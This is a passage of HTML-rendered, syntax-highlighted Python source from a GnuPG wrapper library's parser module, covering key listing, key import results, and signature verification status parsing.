class="p">[</span><span class="s">'uids'</span><span class="p">]</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">curkey</span><span class="p">[</span><span class="s">'uid'</span><span class="p">])</span> - <span class="k">del</span> <span class="bp">self</span><span class="o">.</span><span class="n">curkey</span><span class="p">[</span><span class="s">'uid'</span><span class="p">]</span> - <span class="bp">self</span><span class="o">.</span><span class="n">curkey</span><span class="p">[</span><span class="s">'subkeys'</span><span class="p">]</span> <span class="o">=</span> <span class="p">[]</span> - <span class="bp">self</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">curkey</span><span class="p">)</span> -</div> - <span class="n">pub</span> <span class="o">=</span> <span class="n">sec</span> <span class="o">=</span> <span class="n">key</span> - -<div class="viewcode-block" id="ListKeys.fpr"><a class="viewcode-back" href="../../gnupg.html#gnupg._parsers.ListKeys.fpr">[docs]</a> <span class="k">def</span> <span class="nf">fpr</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">args</span><span class="p">):</span> - <span class="bp">self</span><span class="o">.</span><span class="n">curkey</span><span class="p">[</span><span class="s">'fingerprint'</span><span class="p">]</span> <span class="o">=</span> <span class="n">args</span><span class="p">[</span><span class="mi">9</span><span class="p">]</span> - <span class="bp">self</span><span class="o">.</span><span class="n">fingerprints</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">args</span><span class="p">[</span><span class="mi">9</span><span class="p">])</span> -</div> -<div class="viewcode-block" id="ListKeys.uid"><a class="viewcode-back" href="../../gnupg.html#gnupg._parsers.ListKeys.uid">[docs]</a> <span class="k">def</span> <span class="nf">uid</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">args</span><span class="p">):</span> - <span class="n">uid</span> <span class="o">=</span> <span class="n">args</span><span class="p">[</span><span class="mi">9</span><span class="p">]</span> - <span class="n">uid</span> <span class="o">=</span> <span class="n">ESCAPE_PATTERN</span><span class="o">.</span><span class="n">sub</span><span class="p">(</span><span class="k">lambda</span> <span class="n">m</span><span class="p">:</span> <span class="nb">chr</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">m</span><span class="o">.</span><span class="n">group</span><span class="p">(</span><span class="mi">1</span><span class="p">),</span> <span class="mi">16</span><span class="p">)),</span> <span class="n">uid</span><span class="p">)</span> - <span class="bp">self</span><span class="o">.</span><span class="n">curkey</span><span class="p">[</span><span class="s">'uids'</span><span class="p">]</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">uid</span><span class="p">)</span> - <span class="bp">self</span><span class="o">.</span><span class="n">uids</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">uid</span><span class="p">)</span> -</div> -<div class="viewcode-block" id="ListKeys.sub"><a class="viewcode-back" href="../../gnupg.html#gnupg._parsers.ListKeys.sub">[docs]</a> <span class="k">def</span> <span class="nf">sub</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">args</span><span class="p">):</span> - <span class="n">subkey</span> <span class="o">=</span> <span class="p">[</span><span class="n">args</span><span class="p">[</span><span class="mi">4</span><span class="p">],</span> <span class="n">args</span><span class="p">[</span><span class="mi">11</span><span class="p">]]</span> - <span class="bp">self</span><span class="o">.</span><span class="n">curkey</span><span class="p">[</span><span class="s">'subkeys'</span><span class="p">]</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">subkey</span><span class="p">)</span> -</div> -<div class="viewcode-block" id="ListKeys._handle_status"><a class="viewcode-back" href="../../gnupg.html#gnupg._parsers.ListKeys._handle_status">[docs]</a> <span class="k">def</span> <span class="nf">_handle_status</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">key</span><span class="p">,</span> <span class="n">value</span><span class="p">):</span> - <span class="k">pass</span> - -</div></div> -<div class="viewcode-block" id="ImportResult"><a class="viewcode-back" href="../../gnupg.html#gnupg._parsers.ImportResult">[docs]</a><span class="k">class</span> <span class="nc">ImportResult</span><span class="p">(</span><span class="nb">object</span><span class="p">):</span> - <span class="sd">"""Parse GnuPG status messages for key import operations.</span> - -<span class="sd"> :type gpg: :class:`gnupg.GPG`</span> -<span class="sd"> :param gpg: An instance of :class:`gnupg.GPG`.</span> -<span class="sd"> """</span> - <span class="n">_ok_reason</span> <span class="o">=</span> <span class="p">{</span><span class="s">'0'</span><span class="p">:</span> <span class="s">'Not actually changed'</span><span class="p">,</span> - <span class="s">'1'</span><span class="p">:</span> <span class="s">'Entirely new key'</span><span class="p">,</span> - <span class="s">'2'</span><span class="p">:</span> <span class="s">'New user IDs'</span><span class="p">,</span> - <span class="s">'4'</span><span class="p">:</span> <span class="s">'New signatures'</span><span class="p">,</span> - <span class="s">'8'</span><span class="p">:</span> <span class="s">'New subkeys'</span><span class="p">,</span> - <span class="s">'16'</span><span class="p">:</span> <span class="s">'Contains private key'</span><span class="p">,</span> - <span class="s">'17'</span><span class="p">:</span> <span class="s">'Contains private key'</span><span class="p">,}</span> - - <span class="n">_problem_reason</span> <span class="o">=</span> <span class="p">{</span> <span class="s">'0'</span><span class="p">:</span> <span class="s">'No specific reason given'</span><span class="p">,</span> - <span class="s">'1'</span><span class="p">:</span> <span class="s">'Invalid Certificate'</span><span class="p">,</span> - <span class="s">'2'</span><span class="p">:</span> <span class="s">'Issuer Certificate missing'</span><span class="p">,</span> - <span class="s">'3'</span><span class="p">:</span> <span class="s">'Certificate Chain too long'</span><span class="p">,</span> - <span class="s">'4'</span><span class="p">:</span> <span class="s">'Error storing certificate'</span><span class="p">,</span> <span class="p">}</span> - - <span class="n">_fields</span> <span class="o">=</span> <span class="s">'''count no_user_id imported imported_rsa unchanged</span> -<span class="s"> n_uids n_subk n_sigs n_revoc sec_read sec_imported sec_dups</span> -<span class="s"> not_imported'''</span><span class="o">.</span><span class="n">split</span><span class="p">()</span> - <span class="n">_counts</span> <span class="o">=</span> <span class="n">OrderedDict</span><span class="p">(</span> - <span class="nb">zip</span><span class="p">(</span><span class="n">_fields</span><span class="p">,</span> <span class="p">[</span><span class="nb">int</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">_fields</span><span class="p">))])</span> <span class="p">)</span> - - <span class="c">#: A list of strings containing the fingerprints of the GnuPG keyIDs</span> - <span class="c">#: imported.</span> - <span class="n">fingerprints</span> <span class="o">=</span> <span class="nb">list</span><span class="p">()</span> - - <span class="c">#: A list containing dictionaries with information gathered on keys</span> - <span class="c">#: imported.</span> - <span class="n">results</span> <span class="o">=</span> <span class="nb">list</span><span class="p">()</span> - - <span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">gpg</span><span class="p">):</span> - <span class="bp">self</span><span class="o">.</span><span class="n">_gpg</span> <span class="o">=</span> <span class="n">gpg</span> - <span class="bp">self</span><span class="o">.</span><span class="n">counts</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">_counts</span> - - <span class="k">def</span> <span class="nf">__nonzero__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span> - <span class="sd">"""Override the determination for truthfulness evaluation.</span> - -<span class="sd"> :rtype: bool</span> -<span class="sd"> :returns: True if we have immport some keys, False otherwise.</span> -<span class="sd"> """</span> - <span class="k">if</span> <span class="bp">self</span><span class="o">.</span><span class="n">counts</span><span class="o">.</span><span class="n">not_imported</span> <span class="o">></span> <span class="mi">0</span><span class="p">:</span> <span class="k">return</span> <span class="bp">False</span> - <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">fingerprints</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span> <span class="k">return</span> <span class="bp">False</span> - <span class="k">return</span> <span class="bp">True</span> - <span class="n">__bool__</span> <span class="o">=</span> <span class="n">__nonzero__</span> - -<div class="viewcode-block" id="ImportResult._handle_status"><a class="viewcode-back" href="../../gnupg.html#gnupg._parsers.ImportResult._handle_status">[docs]</a> <span class="k">def</span> <span class="nf">_handle_status</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">key</span><span class="p">,</span> <span class="n">value</span><span class="p">):</span> - <span class="sd">"""Parse a status code from the attached GnuPG process.</span> - -<span class="sd"> :raises: :exc:`~exceptions.ValueError` if the status message is unknown.</span> -<span class="sd"> """</span> - <span class="k">if</span> <span class="n">key</span> <span class="o">==</span> <span class="s">"IMPORTED"</span><span class="p">:</span> - <span class="c"># this duplicates info we already see in import_ok & import_problem</span> - <span class="k">pass</span> - <span class="k">elif</span> <span class="n">key</span> <span class="o">==</span> <span class="s">"NODATA"</span><span class="p">:</span> - <span class="bp">self</span><span class="o">.</span><span class="n">results</span><span class="o">.</span><span class="n">append</span><span class="p">({</span><span class="s">'fingerprint'</span><span class="p">:</span> <span class="bp">None</span><span class="p">,</span> - <span class="s">'status'</span><span class="p">:</span> <span class="s">'No valid data found'</span><span class="p">})</span> - <span class="k">elif</span> <span class="n">key</span> <span class="o">==</span> <span class="s">"IMPORT_OK"</span><span class="p">:</span> - <span class="n">reason</span><span class="p">,</span> <span class="n">fingerprint</span> <span class="o">=</span> <span class="n">value</span><span class="o">.</span><span class="n">split</span><span class="p">()</span> - <span class="n">reasons</span> <span class="o">=</span> <span class="p">[]</span> - <span class="k">for</span> <span class="n">code</span><span class="p">,</span> <span class="n">text</span> <span class="ow">in</span> <span class="bp">self</span><span class="o">.</span><span class="n">_ok_reason</span><span class="o">.</span><span class="n">items</span><span class="p">():</span> - <span class="k">if</span> <span class="nb">int</span><span class="p">(</span><span class="n">reason</span><span class="p">)</span> <span class="o">==</span> <span class="nb">int</span><span class="p">(</span><span class="n">code</span><span class="p">):</span> - <span class="n">reasons</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">text</span><span class="p">)</span> - <span class="n">reasontext</span> <span class="o">=</span> <span class="s">'</span><span class="se">\n</span><span class="s">'</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">reasons</span><span class="p">)</span> <span class="o">+</span> <span class="s">"</span><span class="se">\n</span><span class="s">"</span> - <span class="bp">self</span><span class="o">.</span><span class="n">results</span><span class="o">.</span><span class="n">append</span><span class="p">({</span><span class="s">'fingerprint'</span><span class="p">:</span> <span class="n">fingerprint</span><span class="p">,</span> - <span class="s">'status'</span><span class="p">:</span> <span class="n">reasontext</span><span class="p">})</span> - <span class="bp">self</span><span class="o">.</span><span class="n">fingerprints</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">fingerprint</span><span class="p">)</span> - <span class="k">elif</span> <span class="n">key</span> <span class="o">==</span> <span class="s">"IMPORT_PROBLEM"</span><span class="p">:</span> - <span class="k">try</span><span class="p">:</span> - <span class="n">reason</span><span class="p">,</span> <span class="n">fingerprint</span> <span class="o">=</span> <span class="n">value</span><span class="o">.</span><span class="n">split</span><span class="p">()</span> - <span class="k">except</span><span class="p">:</span> - <span class="n">reason</span> <span class="o">=</span> <span class="n">value</span> - <span class="n">fingerprint</span> <span class="o">=</span> <span class="s">'<unknown>'</span> - <span class="bp">self</span><span class="o">.</span><span class="n">results</span><span class="o">.</span><span class="n">append</span><span class="p">({</span><span class="s">'fingerprint'</span><span class="p">:</span> <span class="n">fingerprint</span><span class="p">,</span> - <span class="s">'status'</span><span class="p">:</span> <span class="bp">self</span><span class="o">.</span><span class="n">_problem_reason</span><span class="p">[</span><span class="n">reason</span><span class="p">]})</span> - <span class="k">elif</span> <span class="n">key</span> <span class="o">==</span> <span class="s">"IMPORT_RES"</span><span class="p">:</span> - <span class="n">import_res</span> <span class="o">=</span> <span class="n">value</span><span class="o">.</span><span class="n">split</span><span class="p">()</span> - <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="bp">self</span><span class="o">.</span><span class="n">counts</span><span class="o">.</span><span class="n">keys</span><span class="p">():</span> - <span class="bp">self</span><span class="o">.</span><span class="n">counts</span><span class="p">[</span><span class="n">x</span><span class="p">]</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">import_res</span><span class="o">.</span><span class="n">pop</span><span class="p">(</span><span class="mi">0</span><span class="p">))</span> - <span class="k">elif</span> <span class="n">key</span> <span class="o">==</span> <span class="s">"KEYEXPIRED"</span><span class="p">:</span> - <span class="n">res</span> <span class="o">=</span> <span class="p">{</span><span class="s">'fingerprint'</span><span class="p">:</span> <span class="bp">None</span><span class="p">,</span> - <span class="s">'status'</span><span class="p">:</span> <span class="s">'Key expired'</span><span class="p">}</span> - <span class="bp">self</span><span class="o">.</span><span class="n">results</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">res</span><span class="p">)</span> - <span class="c">## Accoring to docs/DETAILS L859, SIGEXPIRED is obsolete:</span> - <span class="c">## "Removed on 2011-02-04. This is deprecated in favor of KEYEXPIRED."</span> - <span class="k">elif</span> <span class="n">key</span> <span class="o">==</span> <span class="s">"SIGEXPIRED"</span><span class="p">:</span> - <span class="n">res</span> <span class="o">=</span> <span class="p">{</span><span class="s">'fingerprint'</span><span class="p">:</span> <span class="bp">None</span><span class="p">,</span> - <span class="s">'status'</span><span class="p">:</span> <span class="s">'Signature expired'</span><span class="p">}</span> - <span class="bp">self</span><span class="o">.</span><span class="n">results</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">res</span><span class="p">)</span> - <span class="k">else</span><span class="p">:</span> - <span class="k">raise</span> <span class="ne">ValueError</span><span class="p">(</span><span class="s">"Unknown status message: </span><span class="si">%r</span><span class="s">"</span> <span class="o">%</span> <span class="n">key</span><span class="p">)</span> -</div> -<div class="viewcode-block" id="ImportResult.summary"><a class="viewcode-back" href="../../gnupg.html#gnupg._parsers.ImportResult.summary">[docs]</a> <span class="k">def</span> <span class="nf">summary</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span> - <span class="n">l</span> <span class="o">=</span> <span class="p">[]</span> - <span class="n">l</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="s">'</span><span class="si">%d</span><span class="s"> imported'</span> <span class="o">%</span> <span class="bp">self</span><span class="o">.</span><span class="n">counts</span><span class="p">[</span><span class="s">'imported'</span><span class="p">])</span> - <span class="k">if</span> <span class="bp">self</span><span class="o">.</span><span class="n">counts</span><span class="p">[</span><span class="s">'not_imported'</span><span class="p">]:</span> - <span class="n">l</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="s">'</span><span class="si">%d</span><span class="s"> not imported'</span> <span class="o">%</span> <span class="bp">self</span><span class="o">.</span><span class="n">counts</span><span class="p">[</span><span class="s">'not_imported'</span><span class="p">])</span> - <span class="k">return</span> <span class="s">', '</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">l</span><span class="p">)</span> - -</div></div> -<div class="viewcode-block" id="Verify"><a class="viewcode-back" href="../../gnupg.html#gnupg._parsers.Verify">[docs]</a><span class="k">class</span> <span class="nc">Verify</span><span class="p">(</span><span class="nb">object</span><span class="p">):</span> - <span class="sd">"""Parser for status messages from GnuPG for certifications and signature</span> -<span class="sd"> verifications.</span> - -<span class="sd"> People often mix these up, or think that they are the same thing. While it</span> -<span class="sd"> is true that certifications and signatures *are* the same cryptographic</span> -<span class="sd"> operation -- and also true that both are the same as the decryption</span> -<span class="sd"> operation -- a distinction is made for important reasons.</span> - -<span class="sd"> A certification:</span> -<span class="sd"> * is made on a key,</span> -<span class="sd"> * can help to validate or invalidate the key owner's identity,</span> -<span class="sd"> * can assign trust levels to the key (or to uids and/or subkeys that</span> -<span class="sd"> the key contains),</span> -<span class="sd"> * and can be used in absense of in-person fingerprint checking to try</span> -<span class="sd"> to build a path (through keys whose fingerprints have been checked)</span> -<span class="sd"> to the key, so that the identity of the key's owner can be more</span> -<span class="sd"> reliable without having to actually physically meet in person.</span> - -<span class="sd"> A signature:</span> -<span class="sd"> * is created for a file or other piece of data,</span> -<span class="sd"> * can help to prove that the data hasn't been altered,</span> -<span class="sd"> * and can help to prove that the data was sent by the person(s) in</span> -<span class="sd"> possession of the private key that created the signature, and for</span> -<span class="sd"> parsing portions of status messages from decryption operations.</span> - -<span class="sd"> There are probably other things unique to each that have been</span> -<span class="sd"> scatterbrainedly omitted due to the programmer sitting still and staring</span> -<span class="sd"> at GnuPG debugging logs for too long without snacks, but that is the gist</span> -<span class="sd"> of it.</span> -<span class="sd"> """</span> - - <span class="n">TRUST_UNDEFINED</span> <span class="o">=</span> <span class="mi">0</span> - <span class="n">TRUST_NEVER</span> <span class="o">=</span> <span class="mi">1</span> - <span class="n">TRUST_MARGINAL</span> <span class="o">=</span> <span class="mi">2</span> - <span class="n">TRUST_FULLY</span> <span class="o">=</span> <span class="mi">3</span> - <span class="n">TRUST_ULTIMATE</span> <span class="o">=</span> <span class="mi">4</span> - - <span class="n">TRUST_LEVELS</span> <span class="o">=</span> <span class="p">{</span><span class="s">"TRUST_UNDEFINED"</span> <span class="p">:</span> <span class="n">TRUST_UNDEFINED</span><span class="p">,</span> - <span class="s">"TRUST_NEVER"</span> <span class="p">:</span> <span class="n">TRUST_NEVER</span><span class="p">,</span> - <span class="s">"TRUST_MARGINAL"</span> <span class="p">:</span> <span class="n">TRUST_MARGINAL</span><span class="p">,</span> - <span class="s">"TRUST_FULLY"</span> <span class="p">:</span> <span class="n">TRUST_FULLY</span><span class="p">,</span> - <span class="s">"TRUST_ULTIMATE"</span> <span class="p">:</span> <span class="n">TRUST_ULTIMATE</span><span class="p">,}</span> - - <span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">gpg</span><span class="p">):</span> - <span class="sd">"""Create a parser for verification and certification commands.</span> - -<span class="sd"> :param gpg: An instance of :class:`gnupg.GPG`.</span> -<span class="sd"> """</span> - <span class="bp">self</span><span class="o">.</span><span class="n">_gpg</span> <span class="o">=</span> <span class="n">gpg</span> - <span class="c">#: True if the signature is valid, False otherwise.</span> - <span class="bp">self</span><span class="o">.</span><span class="n">valid</span> <span class="o">=</span> <span class="bp">False</span> - <span class="c">#: A string describing the status of the signature verification.</span> - <span class="c">#: Can be one of ``signature bad``, ``signature good``,</span> - <span class="c">#: ``signature valid``, ``signature error``, ``decryption failed``,</span> - <span class="c">#: ``no public key``, ``key exp``, or ``key rev``.</span> - <span class="bp">self</span><span class="o">.</span><span class="n">status</span> <span class="o">=</span> <span class="bp">None</span> - <span class="c">#: The fingerprint of the signing keyid.</span> - <span class="bp">self</span><span class="o">.</span><span class="n">fingerprint</span> <span class="o">=</span> <span class="bp">None</span> - <span class="c">#: The fingerprint of the corresponding public key, which may be</span> - <span class="c">#: different if the signature was created with a subkey.</span> - <span class="bp">self</span><span class="o">.</span><span class="n">pubkey_fingerprint</span> <span class="o">=</span> <span class="bp">None</span> - <span class="c">#: The keyid of the signing key.</span> - <span class="bp">self</span><span class="o">.</span><span class="n">key_id</span> <span class="o">=</span> <span class="bp">None</span> - <span class="c">#: The id of the signature itself.</span> - <span class="bp">self</span><span class="o">.</span><span class="n">signature_id</span> <span class="o">=</span> <span class="bp">None</span> - <span class="c">#: The creation date of the signing key.</span> - <span class="bp">self</span><span class="o">.</span><span class="n">creation_date</span> <span class="o">=</span> <span class="bp">None</span> - <span class="c">#: The timestamp of the purported signature, if we are unable to parse</span> - <span class="c">#: and/or validate it.</span> - <span class="bp">self</span><span class="o">.</span><span class="n">timestamp</span> <span class="o">=</span> <span class="bp">None</span> - <span class="c">#: The timestamp for when the valid signature was created.</span> - <span class="bp">self</span><span class="o">.</span><span class="n">sig_timestamp</span> <span class="o">=</span> <span class="bp">None</span> - <span class="c">#: The userid of the signing key which was used to create the</span> - <span class="c">#: signature.</span> - <span class="bp">self</span><span class="o">.</span><span class="n">username</span> <span class="o">=</span> <span class="bp">None</span> - <span class="c">#: When the signing key is due to expire.</span> - <span class="bp">self</span><span class="o">.</span><span class="n">expire_timestamp</span> <span class="o">=</span> <span class="bp">None</span> - <span class="c">#: An integer 0-4 describing the trust level of the signature.</span> - <span class="bp">self</span><span class="o">.</span><span class="n">trust_level</span> <span class="o">=</span> <span class="bp">None</span> - <span class="c">#: The string corresponding to the ``trust_level`` number.</span> - <span class="bp">self</span><span class="o">.</span><span class="n">trust_text</span> <span class="o">=</span> <span class="bp">None</span> - - <span class="k">def</span> <span class="nf">__nonzero__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span> - <span class="sd">"""Override the determination for truthfulness evaluation.</span> - -<span class="sd"> :rtype: bool</span> -<span class="sd"> :returns: True if we have a valid signature, False otherwise.</span> -<span class="sd"> """</span> - <span class="k">return</span> <span class="bp">self</span><span class="o">.</span><span class="n">valid</span> - <span class="n">__bool__</span> <span class="o">=</span> <span class="n">__nonzero__</span> - -<div class="viewcode-block" id="Verify._handle_status"><a class="viewcode-back" href="../../gnupg.html#gnupg._parsers.Verify._handle_status">[docs]</a> <span class="k">def</span> <span class="nf">_handle_status</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">key</span><span class="p">,</span> <span class="n">value</span><span class="p">):</span> - <span class="sd">"""Parse a status code from the attached GnuPG process.</span> - -<span class="sd"> :raises: :exc:`~exceptions.ValueError` if the status message is unknown.</span> -<span class="sd"> """</span> - <span class="k">if</span> <span class="n">key</span> <span class="ow">in</span> <span class="bp">self</span><span class="o">.</span><span class="n">TRUST_LEVELS</span><span class="p">:</span> - <span class="bp">self</span><span class="o">.</span><span class="n">trust_text</span> <span class="o">=</span> <span class="n">key</span> - <span class="bp">self</span><span class="o">.</span><span class="n">trust_level</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">TRUST_LEVELS</span><span class="p">[</span><span class="n">key</span><span class="p">]</span> - <span class="k">elif</span> <span class="n">key</span> <span class="ow">in</span> <span class="p">(</span><span class="s">"RSA_OR_IDEA"</span><span class="p">,</span> <span class="s">"NODATA"</span><span class="p">,</span> <span class="s">"IMPORT_RES"</span><span class="p">,</span> <span class="s">"PLAINTEXT"</span><span class="p">,</span> - <span class="s">"PLAINTEXT_LENGTH"</span><span class="p">,</span> <span class="s">"POLICY_URL"</span><span class="p">,</span> <span class="s">"DECRYPTION_INFO"</span><span class="p">,</span> - <span class="s">"DECRYPTION_OKAY"</span><span class="p">,</span> <span class="s">"INV_SGNR"</span><span class="p">):</span> - <span class="k">pass</span> - <span class="k">elif</span> <span class="n">key</span> <span class="o">==</span> <span class="s">"BADSIG"</span><span class="p">:</span> - <span class="bp">self</span><span class="o">.</span><span class="n">valid</span> <span class="o">=</span> <span class="bp">False</span> - <span class="bp">self</span><span class="o">.</span><span class="n">status</span> <span class="o">=</span> <span class="s">'signature bad'</span> - <span class="bp">self</span><span class="o">.</span><span class="n">key_id</span><span class="p">,</span> <span class="bp">self</span><span class="o">.</span><span class="n">username</span> <span class="o">=</span> <span class="n">value</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="bp">None</span><span class="p">,</span> <span class="mi">1</span><span class="p">)</span> - <span class="k">elif</span> <span class="n">key</span> <span class="o">==</span> <span class="s">"GOODSIG"</span><span class="p">:</span> - <span class="bp">self</span><span class="o">.</span><span class="n">valid</span> <span class="o">=</span> <span class="bp">True</span> - <span class="bp">self</span><span class="o">.</span><span class="n">status</span> <span class="o">=</span> <span class="s">'signature good'</span> - <span class="bp">self</span><span class="o">.</span><span class="n">key_id</span><span class="p">,</span> <span class="bp">self</span><span class="o">.</span><span class="n">username</span> <span class="o">=</span> <span class="n">value</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="bp">None</span><span class="p">,</span> <span class="mi">1</span><span class="p">)</span> - <span class="k">elif</span> <span class="n">key</span> <span class="o">==</span> <span class="s">"VALIDSIG"</span><span class="p">:</span> - <span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">fingerprint</span><span class="p">,</span> - <span class="bp">self</span><span class="o">.</span><span class="n">creation_date</span><span class="p">,</span> - <span class="bp">self</span><span class="o">.</span><span class="n">sig_timestamp</span><span class="p">,</span> - <span class="bp">self</span><span class="o">.</span><span class="n">expire_timestamp</span><span class="p">)</span> <span class="o">=</span> <span class="n">value</span><span class="o">.</span><span class="n">split</span><span class="p">()[:</span><span class="mi">4</span><span class="p">]</span> - <span class="c"># may be different if signature is made with a subkey</span> - <span class="bp">self</span><span class="o">.</span><span class="n">pubkey_fingerprint</span> <span class="o">=</span> <span class="n">value</span><span class="o">.</span><span class="n">split</span><span class="p">()[</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span> - <span class="bp">self</span><span class="o">.</span><span class="n">status</span> <span class="o">=</span> <span class="s">'signature valid'</span> - <span class="k">elif</span> <span class="n">key</span> <span class="o">==</span> <span class="s">"SIG_ID"</span><span class="p">:</span> - <span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">signature_id</span><span class="p">,</span> - <span class="bp">self</span><span class="o">.</span><span class="n">creation_date</span><span class="p">,</span> <span class="bp">self</span><span class="o">.</span><span class="n">timestamp</span><span class="p">)</span> <span class="o">=</span> <span class="n">value</span><span class="o">.</span><span class="n">split</span><span class="p">()</span> - <span class="k">elif</span> <span class="n">key</span> <span class="o">==</span> <span class="s">"ERRSIG"</span><span class="p">:</span> - <span class="bp">self</span><span class="o">.</span><span class="n">valid</span> <span class="o">=</span> <span class="bp">False</span> - <span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">key_id</span><span class="p">,</span> - <span class="n">algo</span><span class="p">,</span> <span class="n">hash_algo</span><span class="p">,</span> - <span class="n">cls</span><span class="p">,</span> - <span class="bp">self</span><span class="o">.</span><span class="n">timestamp</span><span class="p">)</span> <span class="o">=</span> <span class="n">value</span><span class="o">.</span><span class="n">split</span><span class="p">()[:</span><span class="mi">5</span><span class="p">]</span> - <span class="bp">self</span><span class="o">.</span><span class="n">status</span> <span class="o">=</span> <span class="s">'signature error'</span> - <span class="k">elif</span> <span class="n">key</span> <span class="o">==</span> <span class="s">"DECRYPTION_FAILED"</span><span class="p">:</span> - <span class="bp">self</span><span class="o">.</span><span class="n">valid</span> <span class="o">=</span> <span class="bp">False</span> - <span class="bp">self</span><span class="o">.</span><span class="n">key_id</span> <span class="o">=</span> <span class="n">value</span> - <span class="bp">self</span><span class="o">.</span><span class="n">status</span> <span class="o">=</span> <span class="s">'decryption failed'</span> - <span class="k">elif</span> <span class="n">key</span> <span class="o">==</span> <span class="s">"NO_PUBKEY"</span><span class="p">:</span> - <span class="bp">self</span><span class="o">.</span><span class="n">valid</span> <span class="o">=</span> <span class="bp">False</span> - <span class="bp">self</span><span class="o">.</span><span class="n">key_id</span> <span class="o">=</span> <span class="n">value</span> - <span class="bp">self</span><span class="o">.</span><span class="n">status</span> <span class="o">=</span> <span class="s">'no public key'</span> - <span class="k">elif</span> <span class="n">key</span> <span class="ow">in</span> <span class="p">(</span><span class="s">"KEYEXPIRED"</span><span class="p">,</span> <span class="s">"SIGEXPIRED"</span><span class="p">):</span> - <span class="c"># these are useless in verify, since they are spit out for any</span> - <span class="c"># pub/subkeys on the key, not just the one doing the signing.</span> - <span class="c"># if we want to check for signatures with expired key,</span> - <span class="c"># the relevant flag is EXPKEYSIG.</span> - <span class="k">pass</span> - <span class="k">elif</span> <span class="n">key</span> <span class="ow">in</span> <span class="p">(</span><span class="s">"EXPKEYSIG"</span><span class="p">,</span> <span class="s">"REVKEYSIG"</span><span class="p">):</span> - <span class="c"># signed with expired or revoked key</span> - <span class="bp">self</span><span class="o">.</span><span class="n">valid</span> <span class="o">=</span> <span class="bp">False</span> - <span class="bp">self</span><span class="o">.</span><span class="n">key_id</span> <span class="o">=</span> <span class="n">value</span><span class="o">.</span><span class="n">split</span><span class="p">()[</span><span class="mi">0</span><span class="p">]</span> - <span class="bp">self</span><span class="o">.</span><span class="n">status</span> <span class="o">=</span> <span class="p">((</span><span class="s">'</span><span class="si">%s</span><span class="s"> </span><span class="si">%s</span><span class="s">'</span><span class="p">)</span> <span class="o">%</span> <span class="p">(</span><span class="n">key</span><span class="p">[:</span><span class="mi">3</span><span class="p">],</span> <span class="n">key</span><span class="p">[</span><span class="mi">3</span><span class="p">:]))</span><span class="o">.</span><span class="n">lower</span><span class="p">()</span> - <span class="k">else</span><span class="p">:</span> - <span class="k">raise</span> <span class="ne">ValueError</span><span class="p">(</span><span class="s">"Unknown status message: </span><span class="si">%r</span><span class="s">"</span> <span class="o">%</span> <span class="n">key</span><span class="p">)</span> - -</div></div> -<div class="viewcode-block" id="Crypt"><a class="viewcode-back" href="../../gnupg.html#gnupg._parsers.Crypt">[docs]</a><span class="k">class</span> <span class="nc">Crypt</span><span class="p">(</span><span class="n">Verify</span><span class="p">):</span> - <span class="sd">"""Parser for internal status messages from GnuPG for ``--encrypt``,</span> -<span class="sd"> ``--decrypt``, and ``--decrypt-files``.</span> -<span class="sd"> """</span> - <span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">gpg</span><span class="p">):</span> - <span class="n">Verify</span><span class="o">.</span><span class="n">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">gpg</span><span class="p">)</span> - <span class="bp">self</span><span class="o">.</span><span class="n">_gpg</span> <span class="o">=</span> <span class="n">gpg</span> - <span class="c">#: A string containing the encrypted or decrypted data.</span> - <span class="bp">self</span><span class="o">.</span><span class="n">data</span> <span class="o">=</span> <span class="s">''</span> - <span class="c">#: True if the decryption/encryption process turned out okay.</span> - <span class="bp">self</span><span class="o">.</span><span class="n">ok</span> <span class="o">=</span> <span class="bp">False</span> - <span class="c">#: A string describing the current processing status, or error, if one</span> - <span class="c">#: has 